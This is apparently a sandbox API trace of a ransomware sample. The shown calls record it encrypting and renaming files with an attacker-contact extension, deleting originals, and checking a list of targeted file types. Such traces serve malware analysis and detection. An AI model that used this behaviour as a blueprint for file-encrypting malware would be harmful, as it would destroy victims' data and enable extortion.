	[0043.046] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0043.048] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi"), lpNewFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi.id-b4197730.[sysadmin@mail.fr].yg")) returned 1
	[0043.053] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0043.054] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fc64 | out: lpNewFilePointer=0x0) returned 1
	[0043.054] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fc24 | out: lpNewFilePointer=0x0) returned 1
	[0043.054] ReadFile (in: hFile=0x2f0, lpBuffer=0x3e43058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x312fc30, lpOverlapped=0x0 | out: lpBuffer=0x3e43058*, lpNumberOfBytesRead=0x312fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0043.084] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x9ab55, lpNewFilePointer=0x0, dwMoveMethod=0x312fc24 | out: lpNewFilePointer=0x0) returned 1
	[0043.084] ReadFile (in: hFile=0x2f0, lpBuffer=0x3e83058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x312fc30, lpOverlapped=0x0 | out: lpBuffer=0x3e83058*, lpNumberOfBytesRead=0x312fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0043.339] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x312fc64 | out: lpNewFilePointer=0xffffffff) returned 1
	[0043.339] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x190200, lpNewFilePointer=0x0, dwMoveMethod=0x312fc24 | out: lpNewFilePointer=0x0) returned 1
	[0043.339] ReadFile (in: hFile=0x2f0, lpBuffer=0x3ec3058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x312fc30, lpOverlapped=0x0 | out: lpBuffer=0x3ec3058*, lpNumberOfBytesRead=0x312fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0043.399] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0043.400] WriteFile (in: hFile=0x2f0, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0xc0110, lpNumberOfBytesWritten=0x312fca8, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fca8*=0xc0110, lpOverlapped=0x0) returned 1
	[0043.634] SetEndOfFile (hFile=0x2f0) returned 1
	[0043.634] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x40000) returned 0x4362ca0
	[0043.638] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fc74 | out: lpNewFilePointer=0x0) returned 1
	[0043.638] WriteFile (in: hFile=0x2f0, lpBuffer=0x4362ca0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x312fc80, lpOverlapped=0x0 | out: lpBuffer=0x4362ca0*, lpNumberOfBytesWritten=0x312fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0043.640] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x9ab55, lpNewFilePointer=0x0, dwMoveMethod=0x312fc74 | out: lpNewFilePointer=0x0) returned 1
	[0043.640] WriteFile (in: hFile=0x2f0, lpBuffer=0x4362ca0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x312fc80, lpOverlapped=0x0 | out: lpBuffer=0x4362ca0*, lpNumberOfBytesWritten=0x312fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0043.642] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x190200, lpNewFilePointer=0x0, dwMoveMethod=0x312fc74 | out: lpNewFilePointer=0x0) returned 1
	[0043.642] WriteFile (in: hFile=0x2f0, lpBuffer=0x4362ca0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x312fc80, lpOverlapped=0x0 | out: lpBuffer=0x4362ca0*, lpNumberOfBytesWritten=0x312fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0043.644] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0043.644] CloseHandle (hObject=0x2f0) returned 1
	[0044.569] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0044.569] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40
	[0044.569] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40
	[0044.569] lstrlenW (lpString=".doc") returned 4
	[0044.569] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0044.569] lstrlenW (lpString=".docx") returned 5
	[0044.569] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1
	[0044.569] lstrlenW (lpString=".pdf") returned 4
	[0044.569] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0044.569] lstrlenW (lpString=".xls") returned 4
	[0044.569] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0044.569] lstrlenW (lpString=".xlsx") returned 5
	[0044.569] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1
	[0044.569] lstrlenW (lpString=".ppt") returned 4
	[0044.569] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0044.569] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40
	[0044.569] lstrlenW (lpString=".zip") returned 4
	[0044.569] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0044.569] lstrlenW (lpString=".rar") returned 4
	[0044.569] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0044.569] lstrlenW (lpString=".bz2") returned 4
	[0044.569] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0044.569] lstrlenW (lpString=".7z") returned 3
	[0044.569] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0044.569] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40
	[0044.569] lstrlenW (lpString=".dbf") returned 4
	[0044.569] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0044.569] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40
	[0044.569] lstrlenW (lpString=".1cd") returned 4
	[0044.570] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0044.570] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40
	[0044.570] lstrlenW (lpString=".jpg") returned 4
	[0044.570] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0044.570] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40
	[0044.570] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40
	[0044.570] lstrlenW (lpString=".doc") returned 4
	[0044.570] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0044.570] lstrlenW (lpString=".docx") returned 5
	[0044.570] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1
	[0044.570] lstrlenW (lpString=".pdf") returned 4
	[0044.570] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0044.570] lstrlenW (lpString=".xls") returned 4
	[0044.570] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0044.570] lstrlenW (lpString=".xlsx") returned 5
	[0044.570] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1
	[0044.570] lstrlenW (lpString=".ppt") returned 4
	[0044.570] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0044.570] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40
	[0044.570] lstrlenW (lpString=".zip") returned 4
	[0044.570] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0044.570] lstrlenW (lpString=".rar") returned 4
	[0044.570] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0044.570] lstrlenW (lpString=".bz2") returned 4
	[0044.570] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0044.570] lstrlenW (lpString=".7z") returned 3
	[0044.570] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0044.570] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40
	[0044.570] lstrlenW (lpString=".dbf") returned 4
	[0044.570] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0044.570] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40
	[0044.570] lstrlenW (lpString=".1cd") returned 4
	[0044.570] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0044.570] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40
	[0044.570] lstrlenW (lpString=".jpg") returned 4
	[0044.570] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0044.571] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0044.571] lstrlenW (lpString="SetupUi.dll") returned 11
	[0044.571] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0044.571] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=295248) returned 1
	[0044.571] CloseHandle (hObject=0x2f0) returned 1
	[0044.571] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll")) returned 0x80
	[0044.571] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\setupui.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0044.571] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0044.571] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.571] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.571] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\setupui.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0044.572] GetLastError () returned 0x0
	[0044.572] ReadFile (in: hFile=0x2f0, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x48150, lpOverlapped=0x0) returned 1
	[0044.689] WriteFile (in: hFile=0x380, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x48160, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x48160, lpOverlapped=0x0) returned 1
	[0044.694] ReadFile (in: hFile=0x2f0, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1
	[0044.694] WriteFile (in: hFile=0x380, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0xea, lpOverlapped=0x0) returned 1
	[0044.694] SetEndOfFile (hFile=0x380) returned 1
	[0044.694] CloseHandle (hObject=0x380) returned 1
	[0044.699] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.699] SetEndOfFile (hFile=0x2f0) returned 1
	[0044.702] CloseHandle (hObject=0x2f0) returned 1
	[0044.702] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0044.702] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll")) returned 1
	[0044.703] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33
	[0044.703] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33
	[0044.703] lstrlenW (lpString=".doc") returned 4
	[0044.703] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0044.703] lstrlenW (lpString=".docx") returned 5
	[0044.703] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1
	[0044.703] lstrlenW (lpString=".pdf") returned 4
	[0044.703] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0044.703] lstrlenW (lpString=".xls") returned 4
	[0044.703] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0044.703] lstrlenW (lpString=".xlsx") returned 5
	[0044.703] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1
	[0044.703] lstrlenW (lpString=".ppt") returned 4
	[0044.703] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0044.703] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33
	[0044.703] lstrlenW (lpString=".zip") returned 4
	[0044.703] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0044.703] lstrlenW (lpString=".rar") returned 4
	[0044.703] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0044.703] lstrlenW (lpString=".bz2") returned 4
	[0044.703] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0044.703] lstrlenW (lpString=".7z") returned 3
	[0044.703] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0044.703] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33
	[0044.703] lstrlenW (lpString=".dbf") returned 4
	[0044.703] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0044.703] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33
	[0044.703] lstrlenW (lpString=".1cd") returned 4
	[0044.703] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0044.703] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33
	[0044.703] lstrlenW (lpString=".jpg") returned 4
	[0044.704] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0044.704] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33
	[0044.704] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33
	[0044.704] lstrlenW (lpString=".doc") returned 4
	[0044.704] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0044.704] lstrlenW (lpString=".docx") returned 5
	[0044.704] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1
	[0044.704] lstrlenW (lpString=".pdf") returned 4
	[0044.704] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0044.704] lstrlenW (lpString=".xls") returned 4
	[0044.704] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0044.704] lstrlenW (lpString=".xlsx") returned 5
	[0044.704] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1
	[0044.704] lstrlenW (lpString=".ppt") returned 4
	[0044.704] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0044.704] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33
	[0044.704] lstrlenW (lpString=".zip") returned 4
	[0044.704] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0044.704] lstrlenW (lpString=".rar") returned 4
	[0044.704] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0044.704] lstrlenW (lpString=".bz2") returned 4
	[0044.704] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0044.704] lstrlenW (lpString=".7z") returned 3
	[0044.704] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0044.704] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33
	[0044.704] lstrlenW (lpString=".dbf") returned 4
	[0044.704] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0044.704] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33
	[0044.704] lstrlenW (lpString=".1cd") returned 4
	[0044.704] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0044.704] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33
	[0044.704] lstrlenW (lpString=".jpg") returned 4
	[0044.704] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0044.705] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0044.705] lstrlenW (lpString="sqmapi.dll") returned 10
	[0044.705] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0044.705] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=144416) returned 1
	[0044.705] CloseHandle (hObject=0x2f0) returned 1
	[0044.705] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll")) returned 0x80
	[0044.705] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0044.705] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0044.705] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.705] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.705] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0044.705] GetLastError () returned 0x0
	[0044.705] ReadFile (in: hFile=0x2f0, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x23420, lpOverlapped=0x0) returned 1
	[0044.730] WriteFile (in: hFile=0x380, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x23430, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x23430, lpOverlapped=0x0) returned 1
	[0044.732] ReadFile (in: hFile=0x2f0, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1
	[0044.732] WriteFile (in: hFile=0x380, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0xe8, lpOverlapped=0x0) returned 1
	[0044.732] SetEndOfFile (hFile=0x380) returned 1
	[0044.735] CloseHandle (hObject=0x380) returned 1
	[0044.738] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.738] SetEndOfFile (hFile=0x2f0) returned 1
	[0044.740] CloseHandle (hObject=0x2f0) returned 1
	[0044.740] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0044.742] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll")) returned 1
	[0044.743] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32
	[0044.743] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32
	[0044.743] lstrlenW (lpString=".doc") returned 4
	[0044.743] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0044.743] lstrlenW (lpString=".docx") returned 5
	[0044.743] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1
	[0044.743] lstrlenW (lpString=".pdf") returned 4
	[0044.743] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0044.743] lstrlenW (lpString=".xls") returned 4
	[0044.743] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0044.743] lstrlenW (lpString=".xlsx") returned 5
	[0044.743] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1
	[0044.743] lstrlenW (lpString=".ppt") returned 4
	[0044.743] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0044.743] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32
	[0044.743] lstrlenW (lpString=".zip") returned 4
	[0044.743] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0044.743] lstrlenW (lpString=".rar") returned 4
	[0044.743] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0044.743] lstrlenW (lpString=".bz2") returned 4
	[0044.743] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0044.743] lstrlenW (lpString=".7z") returned 3
	[0044.744] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0044.744] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32
	[0044.744] lstrlenW (lpString=".dbf") returned 4
	[0044.744] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0044.744] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32
	[0044.744] lstrlenW (lpString=".1cd") returned 4
	[0044.744] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0044.744] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32
	[0044.744] lstrlenW (lpString=".jpg") returned 4
	[0044.744] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0044.744] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32
	[0044.744] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32
	[0044.744] lstrlenW (lpString=".doc") returned 4
	[0044.744] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0044.744] lstrlenW (lpString=".docx") returned 5
	[0044.744] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1
	[0044.744] lstrlenW (lpString=".pdf") returned 4
	[0044.744] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0044.744] lstrlenW (lpString=".xls") returned 4
	[0044.744] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0044.744] lstrlenW (lpString=".xlsx") returned 5
	[0044.744] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1
	[0044.744] lstrlenW (lpString=".ppt") returned 4
	[0044.744] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0044.744] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32
	[0044.744] lstrlenW (lpString=".zip") returned 4
	[0044.744] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0044.744] lstrlenW (lpString=".rar") returned 4
	[0044.744] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0044.744] lstrlenW (lpString=".bz2") returned 4
	[0044.744] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0044.744] lstrlenW (lpString=".7z") returned 3
	[0044.744] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0044.744] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32
	[0044.744] lstrlenW (lpString=".dbf") returned 4
	[0044.744] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0044.744] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32
	[0044.745] lstrlenW (lpString=".1cd") returned 4
	[0044.745] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0044.745] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32
	[0044.745] lstrlenW (lpString=".jpg") returned 4
	[0044.745] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0044.745] lstrcmpiW (lpString1=".msu", lpString2=".yG") returned -1
	[0044.745] lstrlenW (lpString="Windows6.0-KB956250-v6001-x86.msu") returned 33
	[0044.745] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0044.745] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=2192672) returned 1
	[0044.745] CloseHandle (hObject=0x34c) returned 1
	[0044.745] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu")) returned 0x80
	[0044.745] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0044.746] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu"), lpNewFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu.id-b4197730.[sysadmin@mail.fr].yg")) returned 1
